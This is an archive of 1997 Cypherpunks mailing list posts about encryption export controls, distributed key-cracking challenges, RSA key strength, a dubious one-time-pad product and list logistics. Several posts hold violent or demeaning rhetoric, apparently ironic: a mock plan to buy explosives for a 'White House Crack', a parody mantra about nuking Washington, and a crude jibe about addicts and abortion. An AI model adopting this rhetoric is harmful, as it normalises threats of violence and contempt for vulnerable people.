Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------
#10) Find his shoes for him.

#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.

#8)

#7)

#6)

#5)

#4)

#3)

#2)

#1) [This space reserved for T.C. May]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 25 Aug 1997 20:28:29 +0800
To: Feanor <cypherpunks@toad.com
Subject: Re: Child Porn
In-Reply-To: <19970825021444.13392.qmail@nym.alias.net>
Message-ID: <v03110738b02723f161fa@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:14 pm -0400 on 8/24/97, Feanor wrote:


> BTW, does anyone have a good writeup on the 4 horsemen of the infocalypse
> concept?

<http://www.shipwright.com/horsemen.html>

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 25 Aug 1997 20:36:07 +0800
To: cypherpunks@toad.com
Subject: BXA Meet in Portland OR
Message-ID: <1.5.4.32.19970825121003.00712010@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Any chance someone NW can attend this and report?

Federal Register: August 25, 1997 (Volume 62, Number 164)
-----------------------------------------------------------------------

DEPARTMENT OF COMMERCE

Bureau of Export Administration

Regulations and Procedures Technical Advisory Committee; Notice
of Open Meeting

    A meeting of the Regulations and Procedures Technical Advisory
Committee will be held September 23, 1997, 9:00 a.m., in the Plaza Room
of the Portland World Trade Center, 25 S.W. Salmon, Portland, Oregon.
The Committee advises the Office of the Assistant Secretary for Export
Administration on implementation of the Export Administration
Regulations (EAR) and provides for continuing review to update the EAR
as needed.

Agenda

    1. Opening remarks by the Chairwoman.

    2. Presentation of papers or comments by the public.

    3. Update on Bureau of Export Administration initiatives:

    <bullet> Draft encryption regulation.

    <bullet> Status of Wassenaar Arrangement implementation regulation.

    <bullet> Efforts to harmonize the Foreign Trade Statistics
Regulations and the Export Administration Regulations in regards to the
filing of Shipper's Export Declarations.

    4. Discussion of European, Japanese, and U.S. export controls in
regards to ``catch-all'' proliferation controls, Wassenaar Arrangement
controls, encryption items, and the hiring of foreign nationals.

    The meeting will be open to the public and a limited number of
seats will be available. To the extent time permits, members of the
public may present oral statements to the Committee. Written statements
may be submitted at any time before or after the meeting. However, to
facilitate distribution of public presentation materials to Committee
members, the Committee suggests that presenters forward the public
presentation materials, two weeks prior to the meeting date, to the
following address: Ms. Lee Ann Carpenter, TAC Unit/OAS-EA, MS: 3886C,
Bureau of Export Administration, U.S. Department of Commerce,
Washington, D.C. 20230.

    For further information or copies of the minutes, contact Lee Ann
Carpenter on (202) 482-2583.

    Dated: August 19, 1997.
Lee Ann Carpenter,
Director, Technical Advisory Committee Unit.
[FR Doc. 97-22425 Filed 8-22-97; 8:45 am]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 25 Aug 1997 23:46:36 +0800
To: John Young <jya@pipeline.com>
Subject: Re: BXA Meet in Portland OR
In-Reply-To: <1.5.4.32.19970825121003.00712010@pop.pipeline.com>
Message-ID: <Pine.LNX.3.95.970825083357.5135A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 25 Aug 1997, John Young wrote:

> Date: Mon, 25 Aug 1997 08:10:03 -0400
> From: John Young <jya@pipeline.com>
> To: cypherpunks@toad.com
> Subject: BXA Meet in Portland OR
> 
> 
> Any chance someone NW can attend this and report?
> 
> Federal Register: August 25, 1997 (Volume 62, Number 164)

I am going to try very hard to be there.  It claims that statements will
be taken on the EAR.  Anyone want to help write a statement to be read to
the commitee?

(I wonder if you have to declare "I am not, nor have I ever been, a member
of the Cypherpunk party." before reading a statement.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 25 Aug 1997 21:56:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: List Subscriptions / Re: Prior Restraint on Publishers (fwd)
Message-ID: <199708251351.IAA00012@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 25 Aug 1997 01:22:48 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: List Subscriptions / Re: Prior Restraint on Publishers

> I've been sending nearly all of my posts to either the algebra.com or the
> cyberpass.net addresses, and the toad.com address is set to expire, or so
> John told us when he gave us a deadline for finding another site. I've
> mentioned this a couple of times, and yet some of you seem to think the
> toad.com address is the preferred, fastest one.
> 
> Would some of the operators of the distributed lists comment on the time
> delays, on the topology of the interlinked distributed list, and on what
> role, if any, toad.com continues to play in the process? Igor, Lance, Jim,
> John?

Not shure exactly how to answer this as I don't really measure it but I will
pass along my experience and describe the network on this end...

einstein.ssz.com is a 486DX2 80 linked via ISDN to a FDDI/T3/T1 backed up'ed 
link to the major SprintNet and MCI backbone here in Austin, Tx. Our typical
physical latency is about 30mS taken from the average of a continous ping
that I use as a baseline. When Majordomo receives a submission it then
immediately resends it. Assuming the pipe ain't clogged and I run about 15%
use with an all time max of about 90%. Usualy, taken from listening to the
hard drive chatter, the resend latency is about 30s to 5m when the pipe gets
heavily used. Typical peak usage is very sporadic and never lasts more than
5 minutes or so. There are two other small networks dialed in 28.8 that are
the major driver of the intermittent loads. One is a commercial video
business and the other is a local Amiga/NT/Mac/Linux BBS (Phantoms Mansion,
oldest surviving bbs in Austin, in existance since '82. I started in '83).

Our current expansion plans are to take the main pipe to a T1 sometime
toward the end of next month. We will then upgrade the dial-ins to ISDN and
adding a intermittent ISDN dial-in along with 2 28.8 dial-ins. The two
dedicated dial-ins will also be expanding to ISDN and I am adding another
dedicated ISDN customer network as well.

SSZ has been on ISDN since Oct. of '92 and in that time we have been down
for more than hours on two occassions. The first was on Mar. 20, 1995 when
one of my lodgers managed to burn the house down. The second was around
last New Year when I moved and SWBT couldn't move the ISDN for 21 days. We
used a 28.8 during that time and physical latency was about 150mS or so.
The current move scheduled for about 3 weeks away is expected to be
accomplished in less than an hour so hopefuly nobody will even notice...

I currently only echo messages to algebra.com because their the only ones
who've asked. We currently are subscribed to toad.com and algebra.com. We
have an open subscription policy meaning all it takes is an inquiry...

Currently the only reason there would be a significant delay is that we on
occassion have majordomo barf on itself and erase the subscribers list. But
we have a backup and it only takes a cp to get it back up, this process is
not automated - hence the delay. Considering the old versions of Linux and
Majordomo (nearly 4 years old) this is remarkable to me since it is the only
major glitch in the software. We are expecting to upgrade einstein to a
Pentium box with much newer software during next month as well.

Our policy on submissions to the list is one of complete hands-off except
for checking for duplicates and loops.

Other boxes that are intermittently available through SSZ and drive our
load are:

newton.ssz.com             Pentium running Linux and is the router for
                           our Elgin, Tx. expansion site expected to
                           come online before the new year permanently.

hawking.ssz.com            Being built for the Lockheart, Tx. expansion
                           slated for next summer.

godzilla.ssz.com           Sun Sparc ELC running Solaris 2.5 intended as
                           a IRC server and should be permanently online
                           toward the end of next month.

kingkong.ssz.com           Tadpole 3XP laptop running Solaris 2.5 and is
                           a personal workstation.

smoke.ssz.com              Amiga Video Toaster used as a personal
                           graphics workstation, it also intermittently
                           feeds real-time video. Named after 'Smoke Jaguar'
                           the last great Aztec king before the Spaniards
                           arrived.

dustworks.ssz.com          486DX3 100 running Win95 used as a personal
                           workstation.

tesla.ssz.com              Pentium II running Win95 used as a personal
                           workstation.

escher.ssz.com             Pentium running Linux used to grab resume's
                           off the web via spiders. Once a day but when
                           it runs its load is about 80% and lasts for
                           around 5 minutes with several minutes between
                           bursts (intentional behaviour) and lasts for
                           about an hour, scheduled for early AM.

cthulhu.ssz.com            Intended to support a data haven project being
                           developed by the owner of the dh-l data haven
                           mailing list.


There you go, hope it helps better understand the SSZ site at least.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 26 Aug 1997 00:07:39 +0800
To: John Young <jya@pipeline.com>
Subject: Re: BXA Meet in Portland OR
In-Reply-To: <1.5.4.32.19970825153421.00741588@pop.pipeline.com>
Message-ID: <Pine.LNX.3.95.970825085441.5251A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 25 Aug 1997, John Young wrote:

> Declaring yourself to be a cpunk, well, can you get a hearing at a
> hearing of closed EARs any better way?

I was thinking of a more Hamletonian response of pouring poison in the
EAR.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 26 Aug 1997 00:31:51 +0800
To: cypherpunks@toad.com
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <199708251440.HAA22883@netcom18.netcom.com>
Message-ID: <3.0.2.32.19970825090759.007087d0@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:41 AM 8/25/97 -6, Peter Trei wrote:
>Interestingly, many of the European workers looked on the monetary 
>award with disdain - they participated 'to show Internet user 
>solidarity', and other such reasons. Also, many were using university
>owned machines, and were legally constrained from accepting money 
>earned from their use.

I am sure the university will make an exception to the rule once a $1M
check for the regents arrives. The Internet idealists are your base for any
distributed crack. But the cracks that come next are too complex to be
performed by just your base. As in an election, you have to reach beyond
your base to win. The students can show their solidarity. It will require
tempting cash offers before large scale distributed cracks can suck cycles
from the millions of computers in other environments.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 26 Aug 1997 00:48:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: List Subscriptions / Re: Prior Restraint on Publishers
In-Reply-To: <v03102809b026efbd031f@[207.167.93.63]>
Message-ID: <19970825162527.3191.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



I have one of my Nyms subscribed to both Cyberpass and Toad.  

It's interesting to see which messages come in pairs, and which
do not.  'Nuff said.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Tue, 26 Aug 1997 00:39:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP5i supports RSA keys?
Message-ID: <19970825162815.1328.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>TWAK!
>
>Barring a _severe_ breakthrough in the entire nature of computing, >you 
still
>need at least 1 atom to store one bit of information.  It would take 
>more
>computing power than all the atoms in the world, with the ability to 
>store 1 bit
>on a atom and other dazzling feats of miniaturization, to crack a >2048 
bit key
>barring algorithmic breakthrough.

TWOK!  Au contraire, mon ami...

Breaking a 2048 bit key is approximately 1E16 (10 to the 16th power)
harder than breaking a 512 bit key.  The RSA-129 factoring effort
broke a key of approximately 430 bits using about 6,000 MIPS years.
That is about 2E17 instructions.  Some estimates are that with
current algorithms, a 512 bit key could be broken with not too much
more work.

If so, the total work to factor a 2048 bit key would be roughly
1E33 instructions.

Eric Drexler estimates that with nanotech, it should be possible
to create a 1 GHz processer that fits in 1/8 of a cubic micron.
It would take 1E24 such processors to factor a 2048 bit number.
If we wanted to factor that 2048 bit key in 1E6 seconds, a couple
of weeks, we would need 1E18 processors, which would fit in a cube
100,000 microns on a side.  This is 10 cm on a side, about the
volume of a soccer ball.  A far cry from the whole earth, no?

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Mon, 25 Aug 1997 16:00:24 +0800
To: cypherpunks@cyberpass.net
Subject: unruly cult members
Message-ID: <199708250745.JAA08647@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Would cult members kindly stop bickering and straying from the party
line?

All this argument questioning sacred dogma is anti-cypherpunk, and
clearly bought on by failure to recite the daily mantra:

 "Krispin-hare-hare-krispin government is evil
  Krispin-hare-hare-krispin nuke washington DC
  Krispin-hare-hare-krispin gun down graffiti kids
  Krispin-hare-hare-krispin sterelize the proles"

You're becoming so unpredictable, this is sacrilege, cult members
are supposed to unquestioningly follow sacred dogma.

Hare-Krispin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 25 Aug 1997 16:18:40 +0800
To: cypherpunks@toad.com
Subject: Re: $1 Million Code Crack
In-Reply-To: <1.5.4.32.19970822143251.0072f110@pop.pipeline.com>
Message-ID: <3.0.3.32.19970825095304.00971960@localhost>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
>   Mr. Neeley admits his integrity is on the line. "If I'm
>   wrong," he notes, "we're out of business."

It looks like they're out of business already. I tried to mail their
technical support but the mail bounced. The web page
<http://www.ultimateprivacy.com/html/service.html> says that when you buy
the software you get two OTP's in the package. There is not a single word
on how to get any more OTP's, how they are created or distributed.

Since you need a unique OTP for every party you wish to communicate with,
the OTP distribution should be a major part of the product. Yet, they don't
even mention it!


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 25 Aug 1997 23:18:39 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199708251517.KAA00346@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Reservation Desk rule
   
                 CHILDREN ACCUSED OF TRYING TO POISON TEACHER
                                       
     August 24, 1997
     Web posted at: 8:31 p.m. EDT (0031 GMT)
     
     HAMPTON, Virginia (CNN) -- Four pupils have been charged with
     felonies for allegedly planning to poison their fifth-grade teacher
     with a mixture of oils, soaps and household cleaners.
     
     The two boys and two girls, now ages 10 and 11, were charged as
     juveniles Friday with attempting to poison and conspiracy to commit
     a felony, said Jeff Walden, spokesman for the Hampton Police
     Department. The names of the youngsters and the teacher were
     withheld.
     
     On January 15, a classmate overheard the four pupils discussing ways
     to kill their teacher, and told school authorities, Walden said. The
     principal confronted each pupil and found one carrying a glass vial
     containing a liquid that allegedly was to be used to poison the
     teacher's food.
     
     The four weren't charged until now, because authorities had to wait
     for laboratory test results, police said. The tests indicated the
     mixture would have made the teacher sick, but would not necessarily
     have killed her.
     
     The Associated Press contributed to this report.
     
    
   rule
   
  Related site:
  
     Note: Page will open in a new browser window
     * City of Hampton, Virginia
       
     
     
     External sites are not endorsed by CNN Interactive.
     
   
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   rule Message Boards Sound off on our
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   You said it... [INLINE] Reservation Desk rule
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   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 25 Aug 1997 23:00:50 +0800
To: cypherpunks@toad.com
Subject: Re: Mathematics > NSA + GCHQ
Message-ID: <199708251438.HAA13796@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:

> At 12:12 PM 8/23/97 -0400, nospam-seesignature@ceddec.com wrote:
> >DEScrack was only done on a relatively few computers.  If a really big
> >prize was offered (In this lotto, you just run this screen saver which
> >uses less bandwidth than pointcast... The chinese radio lottery via the
> >internet), you could get almost every computer into the act.

The number of machines working on DESCrack was probably in the 20-30,000 
range.
 
> This is a good point. It took $10,000 (plus some hope for fame) to motivate
> thousands of computer users to participate in DESCHALL.  But $10k is not
> all that much money. Few people will go to extraordinary measures to get a
> long shot chance at winning this relatively small sum. Note that there were
> few DESCHALL participants from China, India, and other countries where
> there is a substantial numbers of computers.

Actually, most participants worked without any expectation of getting 
the full $10k. DESChall gave the finder of the magic key $4k, the 
organizers $2k, with the rest going to charity. In the European 
effort, aside from a few hundred dollars to cover expenses, the 
entire amount would have gone to Project Gutenburg (as it did in the
48 bit RC5 crack). Only people running uncoordinated searches, such
as Mikkelsen's Bryddes or my Deskr, could look forward to receiving
the entire prize.

Interestingly, many of the European workers looked on the monetary 
award with disdain - they participated 'to show Internet user 
solidarity', and other such reasons. Also, many were using university
owned machines, and were legally constrained from accepting money 
earned from their use.

This came as quite a suprise to me. I had picked the $10k figure in my
proposal to RSA because it fell in the range of other prizes they had
offered, and seemed high enough to motivate people with no emotional
or ideological interest in the issues to run free software.

>BTW, I am thinking about organizing corporate sponsorships to beef up
>the reward for the RC5-64 crack. I am quite certain that at a $1M
>prize offering, I would be cracked faster than DES.

I think the effort would be better spent on a factoring challenge.

[...]
 
> --Lucky Green <shamrock@netcom.com>

Peter Trei
trei@Process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 26 Aug 1997 02:19:29 +0800
To: cypherpunks@algebra.com
Subject: Re: Welfare / Norplant
In-Reply-To: <199708251623.JAA15070@toad.com>
Message-ID: <v0310280ab02771e1968c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:33 AM -0700 8/25/97, Peter Trei wrote:
>Several years ago I came up with a little variation on the
>Welfare Mother problem which I thought was a lot more
>palatable.

Possibly more palatable to the majority not already on welfare, but hardly
an incentive to a single mother contemplating the increase in her
AFDC/WIC/etc. benefits should she add to her brood.

And the program would target the wrong people. Unavoidably, unless we have
mind-reading machines.

>Offer a 'birthday present' program, under which *any*
>female over the age of 11 who has not yet had a child or become
>pregnant, on her birthday, gets a cash award. The award should
>be high enough to encourage participation; $250 seems about
>right. A woman who can deliberatly turn down a $250 lump sum
>every year for the rest of her life is almost certainly able
>to afford to raise a child.

Hint: $250 a year is vastly too low to be an incentive to those
contemplating the additional allotment an extra mouth brings.

Second hint: Large numbers of young women who don't plan to have children
until much later anyway will of course participate! My 14-year-old niece,
my neighbor's 18-yo daughter, my 41-yo sister, and so on. Maybe 50 to 60
million, I would estimate, women would be eligible.

Third hint: This program works be rewarding _foresight_, e.g., making plans
to have avoided pregnancy. All indications are that the women presumably
intended as the targets are fairly lackadaisical about birth control, and
the prospect of $250 at the end of a year is unlikely to change this.

>* Targets young women who would be likely to become 'welfare
>  mothers'. The parents of such young women would be highly
>  motivated to have their dependent daughters participate.

Yep, in addition to some fraction (probably low) of those already on
welfare and likely to get $3000 a year extra for each new member of their
brood, there will also be about 40-60 million women of reproductive age who
would collect this "birthday present" each year, just for their ordinary
nonfecundity that year.

Question for the curious: Could we combine abortion clinics with this
payment scheme? I can imagine some crack addict really, really wanting that
fix on the eve of her birthday. If she aborts herself, or has the clinic
yank the foetus out, she can get high that night. Sounds like a plan.

>I haven't worked out the costs, but suspect that the net
>savings would be quite substantial.

See above.

But given the obvious flaws in Peter's plan, he probably has a future as a
bureaucrat in Washington. :-)

(I rarely use smileys, but I wanted to soften the tone of my criticism.
Peter's proposal has deadly flaws, easily uncovered. But so do the
proposals we all make at times.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 25 Aug 1997 17:20:53 +0800
To: david@ultimateprivacy.com
Subject: Re: $1 Million Code Crack
Message-ID: <199708250903.LAA16064@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Onn Fri, 22 Aug 1997, John Young apparently forwarded from: "$treet
Journal, August 22, 1997, p. A7A.":

>    On the bright side, cryptologists agree that the
>    decades-old encryption method that Crypto-Logic is claiming
>    to use -- called a "one-time pad" -- is theoretically
>    unbreakable. Each "pad" has a set of uniquely random
>    digital symbols that are coded to the actual message. The
>    recipient uses the same symbols to decrypt the message. The
>    pads are used only once.

ROTFL.  (Well, not literally, but smiling.)  The "How it works" link on
their site is broken :-), so what they're basically saying is "here is
some encrypted text, I bet you can't crack it."

----- UP
-----??daU?????dr1wEFssYNOgvLDiCyZ296C51VPUo9Mi0BIHMnZTSveVPXb?02G
47ECGIA2UoZgy0Kl!?91zW9SqF05kDlR!fYDPbbP9hH8J0CDLDrFfO3N7CxVur?QJ
o22aPgHyUmFpdbg7G!iQSZaHAOELipdS?m7KzGmxylN!kd2otaKISSRilW5HV00221
!jRTYbYOsb9fFpzbxRGeUjvozbviGE00rO?UdhzQ04aPV9ZoB0eJl0o6gA3YJuivVPPyr
V6jF3dYhDEba9o4oO1oDaGxRoKEhNEPtGm4UxWxCriUcUEsJRfb7bIXhdwMcW5g
CHd7ezbbXO4KD3IWPa67EgoMg42aiRiVtIuhu!So!dRW8lMVOhHx68Co?TPAm7dq
dGiGcv1lVheiwX3fpxxy3rMIMpEV-q3s9OF----- End -----

Idiots.

Saying that one-time pads are secure is meaningless.  Their web site
doesn't even mention key exchange.

As the Preface to Advanced Cryptography (www.counterpane.com) says,

% If I take a letter, lock it in a safe, hide the safe somewhere in
% New York, and then tell you to read the letter, that's not
% security. That's obscurity. On the other hand, if I take a letter
% and lock it in a safe, and then give you the safe along with the
% design specifications of the safe and a hundred identical safes with
% their combinations so that you and the world's best safecrackers can
% study the locking mechanism--and you still can't open the safe and
% read the letter, that's security.

I'm sure everybody here already knew this, but anybody with a million
bucks and no clues at all deserves to be kicked.

>    "Anyone who says their system is
>    bulletproof is either a liar or stupid," says Winn
>    Schwartau, a Largo, Fla., security expert.

I must disagree... they could be a liar _and_ stupid.

>    Mr. Neeley admits his integrity is on the line. "If I'm
>    wrong," he notes, "we're out of business."

Somebody ought to forward this thread to his creditors...

::Boots





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Mon, 25 Aug 1997 17:40:55 +0800
To: coderpunks@toad.com
Subject: CAST key size
Message-ID: <19970825111908.55815@sequent.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3980.1071713725.multipart/signed"

--Boundary..3980.1071713725.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hi Guys,

Just a quick question on the keysize of the CAST algorithm. According to
the bible of Bruce,  CAST uses a 64 bit keysize, while  in the manual of
PGP 5.0 (page 89), Phill states that CAST uses a 128 bit keysize...

Am I missing something?

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster on http://www.IAEhv.nl/users/hvdl ==============
     ,;( )_, )~\| Hans "Unicorn" Van de Looy     PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;   GSM: +31 653 261 368                52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========



--Boundary..3980.1071713725.multipart/signed
Content-Type: application/octet-stream; name="pgp00005.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00005.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogMi42LjIK
CmlRRVZBd1VCTkFGTjlEMzZCeHNLZTRUbkFRR0VSd2YvZW5ydzFVZTJsNjdT
b1VxSXlpS25JeHQ5Wi91Rk1FdlcKVkE3cmNpc0NnNU1wQnoweEFTcGhGejV1
bDVvbm00TUdBdDU0Y0NFbXZBTzFZT3RjR2tWUlBDeDFnU3VGSDJXbQplYXF6
RTY0czNIZ21CeXRBTWlrSUY5cGdEb1lDN3J4amZlaUtCcEtKdmJ6NERpeUMv
ZkRoaDI5V21aSitENEk1CkRQWGtxWGFrRTUwSXNCM1BwRTNqQmc2Z3BVV1Zj
b203VjRacnM3SG5VYVJtV08wNGxIVnIwOTk5YUdYTVAvTGIKaTZ4WXpWeW04
VEsxelJPY0Y3RmE1RnBCODA5UHJGUlVESUlGWktSRGFNVjR4VUhHOCtZTXJB
OVlhVzJaT3A3Vgo0TUJSZTdRSEo2Q1VqNTBwUEZ0MlBUdCsxci9kenhyK1FE
K3gxNnA3Yy92dytWL1FqWkpQOEE9PQo9bXZsNgotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3980.1071713725.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 25 Aug 1997 23:58:16 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: BXA Meet in Portland OR
Message-ID: <1.5.4.32.19970825153421.00741588@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen wrote:

>I am going to try very hard to be there.  It claims that statements will
>be taken on the EAR.  Anyone want to help write a statement to be read to
>the commitee?

An excellent start would be Adam Shostack's questioning of the
legal authority for the feds to restrict publishing. See his Tom Paine
taunt in Peter Wayner's NYT report yesterday, and as posted here.

Declaring yourself to be a cpunk, well, can you get a hearing at a
hearing of closed EARs any better way?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 26 Aug 1997 03:06:44 +0800
To: John Young <jya@pipeline.com>
Subject: Lab willing to sell "bunker buster" technology
In-Reply-To: <1.5.4.32.19970825162207.0074b2b0@pop.pipeline.com>
Message-ID: <v0310280cb02782c68ea9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




John [please keep this private, OK?],

Your spilling the beans about my work on stuff a lot more powerful than
ordinary munitions is possibly dangerous to our work.

You said:

At 9:22 AM -0700 8/25/97, John Young wrote:

>Now we turn the target-finder over to Mr. Tim May and those
>anonymees worldwide who wish to ... lock and load, wait, not guns,
>even more powerful munitions to penetrate through thick skulls
>who are convinced they're the smartest bastards on earth with
>the biggest CPUs run by tiniest algos to prove it.

These even more powerful munitions are not quite ready for distribution or
use, yet. I contacted via Blacknet one of the main developers of  SBER
(Synthetic Bond Energy Release) pyrophoric explosives, and he/she is
willing to sell what the Lab has developed for a bit more than what the
Russkies, practically starving down there at the SBER facility in
Yukutzagorodok. It's certainly a lot easier driving over the hill than
making the run through TJ to Ankara and then up to Yukutz, even with the
new passport.

Those "bunker busters" will be a valuable addition to our arsenal. Sort of
make McVeigh look like a weenie.

But the guy at the Lab is talking about leaving and working for one of the
Valley companies, just as you so presciently described, so we have to move
fast.

I think modelling our efforts after the "DES Crack" could help raise the
funds needed to buy this technology. We could call it the "White House
Crack."

--


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Tue, 26 Aug 1997 03:17:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP5i supports RSA keys?
Message-ID: <19970825190521.5060.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>TWOK!  Au contraire, mon ami...
>
>Eric Drexler estimates that with nanotech, it should be possible
>to create a 1 GHz processer that fits in 1/8 of a cubic micron.
>It would take 1E24 such processors to factor a 2048 bit number.
>If we wanted to factor that 2048 bit key in 1E6 seconds, a couple
>of weeks, we would need 1E18 processors, which would fit in a cube
>100,000 microns on a side.  This is 10 cm on a side, about the
>volume of a soccer ball.  A far cry from the whole earth, no?

GURK!  I meant that it would take 1E24 seconds for one such
processor to factor a 2048 bit number.  The rest is right.

Use an 8K bit key and it will be 1E30 times harder than a 2K key.
Now your soccer ball is comfortably bigger than the earth.  You
will have to convert the sun into a CPU to break it with nanotech.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 26 Aug 1997 00:44:11 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: BXA Meet in Portland OR
Message-ID: <1.5.4.32.19970825162207.0074b2b0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote to Alan Olsen:
>
>>I am going to try very hard to be there.  It claims that statements will
>>be taken on the EAR.  Anyone want to help write a statement to be read to
>>the commitee?
